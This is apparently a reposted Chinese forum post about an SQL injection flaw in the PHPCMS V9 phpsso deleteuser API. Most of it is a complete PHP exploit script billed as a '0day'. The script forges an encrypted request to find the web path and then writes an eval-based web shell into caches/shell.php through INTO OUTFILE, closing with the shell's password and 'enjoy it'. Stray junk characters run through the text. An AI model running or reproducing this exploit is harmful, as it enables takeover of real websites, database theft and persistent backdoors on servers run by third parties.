PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。 m6 z1 ^: I0 O( D, A
4 h( e0 G6 f1 w* h* N. p: h
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
( Y4 W1 E+ d. q& y
f7 l( y" q( z, T漏洞分析:
! _7 }. `7 m E1.未启用ucenter服务的情况下uc_key为空1 s3 I! S( w4 Z4 ]
define('UC_KEY', pc_base::load_config('system', 'uc_key'));* u7 c- E$ d4 c4 {
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。* u0 z* y$ U4 I6 l6 ?9 l5 P$ G
public function deleteuser($get,$post) {
7 `% z# a- i4 S, h/ j3 E pc_base::load_app_func('global', 'admin');% ^' B5 D) _$ T9 ? Z5 q8 Y
pc_base::load_app_class('messagequeue', 'admin' , 0);
! l2 \6 U! S, Z& ~+ j $ids = new_stripslashes($get['ids']);
3 ?0 T1 O. s2 f2 a+ H $s = $this->member_db->select("ucuserid in ($ids)", "uid");5 c2 F& E4 a( ?9 ~! H, R3 ?8 m
SQL语句为
9 ]2 d8 h* `: L! w5 aSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids); ~% C1 K: e: M
9 ^) W4 Q% l }7 D6 l' Z, H
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
! b I7 w; h4 Q4 {/ W<?php# _! U. S- h2 C: u
print_r('1 l) V( S1 o8 O. {/ F& u" u! q; b
---------------------------------------------------------------------------
7 L2 C9 H1 n) A8 N# wPHPcms (v9 or Old Version) uc api sql injection 0day
3 Q8 T a4 l4 Bby rayh4c#80sec.com6 M1 k5 D a9 f) O; Z0 y7 D* ^
---------------------------------------------------------------------------+ Z+ @0 O5 h6 h; l6 B G
');; _, W( N/ w6 s
m) j! ~8 c u$ H& c9 B# S, l$ u
if ($argc<3) {' b$ b; ?/ A& s1 q0 P
print_r('
4 I+ F) O+ S/ V7 h. W! z---------------------------------------------------------------------------
& K% T, j _9 N! n Z; F; [6 f6 pUsage: php '.$argv[0].' host path OPTIONS0 y' L" r, `, D' D `
host: target server (ip/hostname)0 j# R2 a; U' f. q# R* t$ Q3 X
path: path to phpcms
0 h& e, ~3 o7 i$ n: d3 t) ^Options:
& r3 g2 {/ s5 I$ e. U- ]/ Q -p[port]: specify a port other than 806 u3 s3 `8 a4 Y
-P[ip:port]: specify a proxy
8 ~$ @8 |) ~9 D J {Example:1 U/ T) P7 O! Z4 C8 F
php '.$argv[0].' localhost /! s% l- S2 X5 K' _
php '.$argv[0].' localhost /phpcms/ -p81. _* v, m" l! N. A4 A* k
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
; c4 R0 P9 I2 E# I2 P---------------------------------------------------------------------------$ `& K& y. |, H! c; W5 l
');8 |' S+ v0 Q _
die;' K3 L/ @* _( m# `
}
S3 y8 Z9 K6 b% B, P. g5 ~
# ~1 n9 o8 [$ I2 A# x2 g5 gerror_reporting(7);
+ ?" n0 O2 b; ^: a) Kini_set("max_execution_time",0);8 ~- h. r# _+ |( q0 ~5 {
ini_set("default_socket_timeout",5);
# A' a6 H4 u2 j$ W3 @2 A' M8 j- w8 Z2 q5 U( C
function quick_dump($string)4 u. j6 I. l+ J$ a3 j
{0 g5 g1 k/ ^$ z- a2 ]. o! W
$result='';$exa='';$cont=0;' G9 r! K8 F7 z
for ($i=0; $i<=strlen($string)-1; $i++)
; Z( @+ R r+ L3 f) Q {
$ Z& S& C2 I) i8 l if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
! M: B& t/ S; `+ ^5 ^8 z {$result.=" .";}
- R3 c. a* k% n6 L2 d% u else
" J! m" i3 h, B1 [: t9 E9 p {$result.=" ".$string[$i];}# m# q; I( [* B' n3 {" _" M' I8 v% t5 X$ e
if (strlen(dechex(ord($string[$i])))==2)
3 X4 w# A i5 k; i {$exa.=" ".dechex(ord($string[$i]));}7 p! a9 b. D* G& |2 v8 a
else
+ s- [* p p3 L {$exa.=" 0".dechex(ord($string[$i]));}2 ~+ h, T( u) B1 F: I5 ]5 l6 e
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
) M4 u; b- s1 b4 ? }
: y' ]3 y# L0 i p return $exa."\r\n".$result;9 {" c% O' Y- Z( j' i: z
}
( r X4 q+ D* x. H5 ?7 i$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';0 R" ^$ N7 D4 g C% g" \
! Q& i2 {* g$ ffunction send($packet)% U5 U8 h( k& U& b3 E+ Q! [! _0 V
{
7 D# v" r+ D- T8 c global $proxy, $host, $port, $html, $proxy_regex;6 v5 V7 K3 P) f$ R
if ($proxy=='') {$ R) u! T, s; [" ~/ W* [
$ock=fsockopen(gethostbyname($host),$port);. c6 Z- r) Z a$ `
if (!$ock) {
3 H9 D8 ^( E- S$ M% c echo 'No response from '.$host.':'.$port; die;8 T. \8 U, ?% }8 S
}
W0 k% J- F& C6 H. m/ p( K. e, W }
. B6 O# i9 Z0 q7 m" P* y else {2 R- r6 F) y% Y
$c = preg_match($proxy_regex,$proxy);% R6 b0 `9 @7 l
if (!$c) {
" e# W9 w% n) Q/ q( i' K" E echo 'Not a valid proxy...';die;
& E/ j: b9 j" o# E! ]; g7 p) c }
! ^8 v8 ~% b, u* M& Z# D $parts=explode(':',$proxy);; d- o' ?( k) [' l1 Y- z4 }
$parts[1]=(int)$parts[1];6 Y) o) N7 I. w- S. S
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";6 b, Z* X+ e6 R+ a) t+ a5 O) w
$ock=fsockopen($parts[0],$parts[1]);
, g' S) {, u' l4 h4 H if (!$ock) {
, g: i q$ {. c4 ]5 E/ e; |- Z# Z6 B5 h echo 'No response from proxy...';die;
6 y* R0 v6 h+ x4 t! M2 y }3 G% u7 W' S: g8 E$ W" m
}3 [8 y* A2 j3 m
fputs($ock,$packet);2 S O/ S+ Y$ J7 x3 U& U
if ($proxy=='') {+ {. {- T3 u( c
$html='';
( h% w. \3 V( ]- } while (!feof($ock)) {
, e! ]! ~2 }* X- R8 [ $html.=fgets($ock);5 G A* Z, k* m3 S ?
}
, b2 c/ R2 U' H) p }6 {; s1 B" G$ }$ T' k, D% v
else {, S1 |3 J( F$ D$ l5 o
$html='';
/ N- ?9 R' F' x' C0 | r+ T while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
) m2 c" R+ p- ]2 t! F; t $html.=fread($ock,1);0 ?* V& C0 r! e* t# g
}
' Z, |; p# n: J- G }
" X( e$ v) w5 `* f fclose($ock);
( z7 _% i. f8 n2 X% I) k) `6 Z}7 E( A$ D9 s# u+ w
" i5 E! C1 a4 T8 N+ `$host=$argv[1];
$ W2 y3 v0 x1 _- G! c6 y7 x% A$path=$argv[2];
0 C6 W/ I% {( s0 [# u- d$port=80;. F1 ]7 s6 N1 z. j6 B
$proxy="";' t l e: o2 p' X
for ($i=3; $i<$argc; $i++){
: a* J* d3 K' x2 ~) [! N8 t$temp=$argv[$i][0].$argv[$i][1];: ]# F6 h. D1 p) A# s
if ($temp=="-p")! U, Q; I1 o9 s: T1 y/ @
{ p( L. K7 r( @$ Z
$port=(int)str_replace("-p","",$argv[$i]);
8 R1 a5 S5 R" o6 T$ d" M}5 J. \! V; U e5 k3 _# e! w" K; c
if ($temp=="-P")
5 N& U0 K4 \" \7 p4 Q Y{
0 d e; ]" e3 M# ^; Z $proxy=str_replace("-P","",$argv[$i]);3 R- x7 U5 l. J4 d
}
. u* o8 _% U3 b6 z9 m. V}
6 d; q: ^" X8 a5 m. U# P
3 s: ]9 W0 ~& vif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} X2 M1 Z. C( W' }! Z) ^6 s: w
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} o5 i( E! N, U* ^7 {- B* w
9 `3 f8 l2 q7 u7 q. |
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {) n6 ?/ k) @6 `
0 U0 _7 }" _$ G9 m& Z
$ckey_length = 4;0 c9 Z- F2 }- z( U5 V# O9 t9 { J& N
' ]! H% f: L8 G1 Y! G) ~/ D
$key = md5($key ? $key : '');
; |3 K+ J$ }; W. I# W' e $keya = md5(substr($key, 0, 16));
! ?* }7 X/ ]1 I $keyb = md5(substr($key, 16, 16));9 g1 }% B8 ?$ a* L$ r! c
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
7 Z" v, I" U" d3 o, s7 p- ^. |+ f1 Q- S, i, V' A9 h8 |
$cryptkey = $keya.md5($keya.$keyc);
8 E% {5 j- d ?: K. _. C. B. G $key_length = strlen($cryptkey);
5 o8 T2 m; t$ O- K3 E; u( D1 x$ N7 l& E6 t/ _
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;: u8 ~) J. W l, i
$string_length = strlen($string);7 Z4 d. y9 u; N; o* w
# a7 s$ [" V# C' h5 ~; V
$result = '';1 H9 Y" j& f; A) e8 Y, w. G
$box = range(0, 255);
2 H* P) b* H: Y" l; h) {9 y1 n, g5 i# x/ C( x% O( t
$rndkey = array();
- m6 J ^2 Q% F$ J for($i = 0; $i <= 255; $i++) {
9 e( M9 J( S/ C6 I5 G& M $rndkey[$i] = ord($cryptkey[$i % $key_length]);# x- x" S, u% b2 W# S
}
. i3 j# R& o% w8 v* t, h6 `/ [% `$ U
for($j = $i = 0; $i < 256; $i++) { |9 {7 _6 b7 e6 A: u
$j = ($j + $box[$i] + $rndkey[$i]) % 256;, m" a- ]& Y2 p) O
$tmp = $box[$i];
) K! j% S% V% u7 r: M0 t4 y $box[$i] = $box[$j];; D! H" R% z3 |7 I; x: G- }
$box[$j] = $tmp;
3 ^" F& i) q$ f9 J }
# A7 y% L2 e5 K
0 u/ ]: i* m. w; l! \4 m) r for($a = $j = $i = 0; $i < $string_length; $i++) {
; ~. i! [& H! M+ l" I6 e $a = ($a + 1) % 256;
: J1 U; o7 Z. l4 k W { $j = ($j + $box[$a]) % 256;8 y* o3 y, a: ?* L0 a7 ^- w
$tmp = $box[$a];
4 o$ G Q6 K/ p# L( [ $box[$a] = $box[$j];) r. ~; C4 G& Y' j
$box[$j] = $tmp;6 Y: Q! P5 @1 ^1 `
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
0 P: K$ {( N( l# C0 V6 o }
5 K/ M9 N6 a; R) c, u2 F3 i. [8 E
, E b) J5 j# h if($operation == 'DECODE') {- C, |& n6 Q* f! A
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
( a6 \0 N6 Y" Q+ x+ y+ B return substr($result, 26);$ p' g) {+ i8 \
} else {/ S q7 Z1 a- K7 c9 m! o% S
return '';
$ E+ K/ o9 W8 w: {) {! z }- N9 x0 |' Q1 ~5 l8 [
} else {
+ J& O- ]: w/ B F- b3 T4 G return $keyc.str_replace('=', '', base64_encode($result)); C& e0 C5 I) M3 r* A# i0 w
}
! W" Q! _3 d2 [4 q/ w" y) n g
& v$ J2 \' E6 O, y}* F. a. i/ [- `% R
9 M$ D4 o5 G- D v& S2 Z3 x$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";! h7 Y V& D7 ^/ a/ M/ Z
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
j! }5 v4 W# c7 Z9 @* techo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";0 C/ U* K+ o8 \/ b$ S& _
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";4 r N! s' p' [* w/ Y
$packet.="User-Agent: Mozilla/5.0\r\n";) z; s1 |6 E/ w4 N! d. i0 O$ J
$packet.="Host: ".$host."\r\n";
5 y; t7 K" L& M4 b' T! d$ a; [$packet.="Connection: Close\r\n\r\n";2 f S2 o; a: y, |
send($packet);: U9 Q* \4 \- N J% D6 h, _
if(strpos($html,"MySQL Errno") > 0){
0 |9 Q6 O' u' V* L! h O9 f7 ~echo "[2] 发现存在SQL注入漏洞"."\n";5 c& W, B, Z/ ?' F7 p3 h
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
& V a. p- U1 c& K% P7 ]$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
: n% H4 f; g( @+ v- \! h$packet.="User-Agent: Mozilla/5.0\r\n";/ v/ z2 C$ u7 m7 U9 j0 s; j$ h
$packet.="Host: ".$host."\r\n";0 e3 s" U4 l7 ?# A5 j% z
$packet.="Connection: Close\r\n\r\n";
8 s& }) ~- q1 v& J) usend($packet);- z4 F- p! \$ M' ^8 g8 C) U& y
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);9 l* A* L7 @( B( ?) ~: @
//print_r($matches);: I7 Z" z7 Y( J( e+ Q
if(!empty($matches)){
, q7 k, l" {; g' V$ F( F' ~echo "[4] 得到web路径 " . $matches[0]."\n";; A3 T. L# f- N! A- y
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
% A2 y1 d6 U) f) x$SQL = "time=999999999999999999999999&ids=1)";5 W1 B3 Y3 D! |3 t5 g0 C
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";, T% `8 C! q8 H
$SQL.="&action=deleteuser";
- F; ~9 Y0 m1 {, Y9 E1 @4 w& n$SQL = urlencode(authcode($SQL, "ENCODE", ""));
7 a% n5 I+ ^, l3 i# @! I0 k$ u {echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
4 N/ z( e% R! v( L4 {$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";, T- l) x* l3 L, D/ \6 i4 L
$packet.="User-Agent: Mozilla/5.0\r\n";" j G+ p7 ~' q% M5 n8 p7 @
$packet.="Host: ".$host."\r\n";
3 F7 g6 V8 s. S C6 \' p3 x$packet.="Connection: Close\r\n\r\n";$ |" r x9 W7 |4 b& v0 b
send($packet);
: V ~9 m! W+ d$ F! Gif(strpos($html,"Access denied") > 0){
; F9 r$ @6 g' M: q9 qecho "[-] MYSQL权限过低 禁止写入文件 ";% n, z4 I- N3 O# _: U, f* P
die;
8 ^, Q. F2 ^8 Z& b}5 f4 q2 s8 V4 O# F+ R2 M; Y3 K
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";/ F5 p' q* H( p: J' m
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
& s" A5 q; Y- }2 X6 C5 d6 q$packet.="User-Agent: Mozilla/5.0\r\n";
9 P. M( U. H* A! v y9 [+ C, z. I# n$packet.="Host: ".$host."\r\n";" f X8 S9 T9 f6 x( G) m" p0 k) [
$packet.="Connection: Close\r\n\r\n";$ G6 T3 d3 a* W$ `5 H2 o& Q& X
send($packet);
& t$ l1 s% c! q0 Y6 V: R7 E+ o3 _if(strpos($html,"<title>phpinfo()</title>") > 0){. V# ^' d! \; s: @: z+ C, O
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
( x$ R# ^0 E! q; d, \2 Y! i8 A* [}
8 \) F' r1 S5 x, x" ~}else{
7 z1 J9 u- m! V! necho "[-]未取到web路径 ";
) \# M/ R+ Z9 [7 t" o0 ~6 m( R}) p) I6 Q0 [3 e9 E6 g( d
}else{
* z6 P0 k+ I a+ T' }7 d/ kecho "[*]不存在SQL注入漏洞"."\n";3 D5 A8 G; X1 b& V7 ]8 c
}
7 s% G3 _( t! j) k5 b8 j5 l5 y c' q+ t) ]6 J
?>
d. U3 j8 J& y. x' S |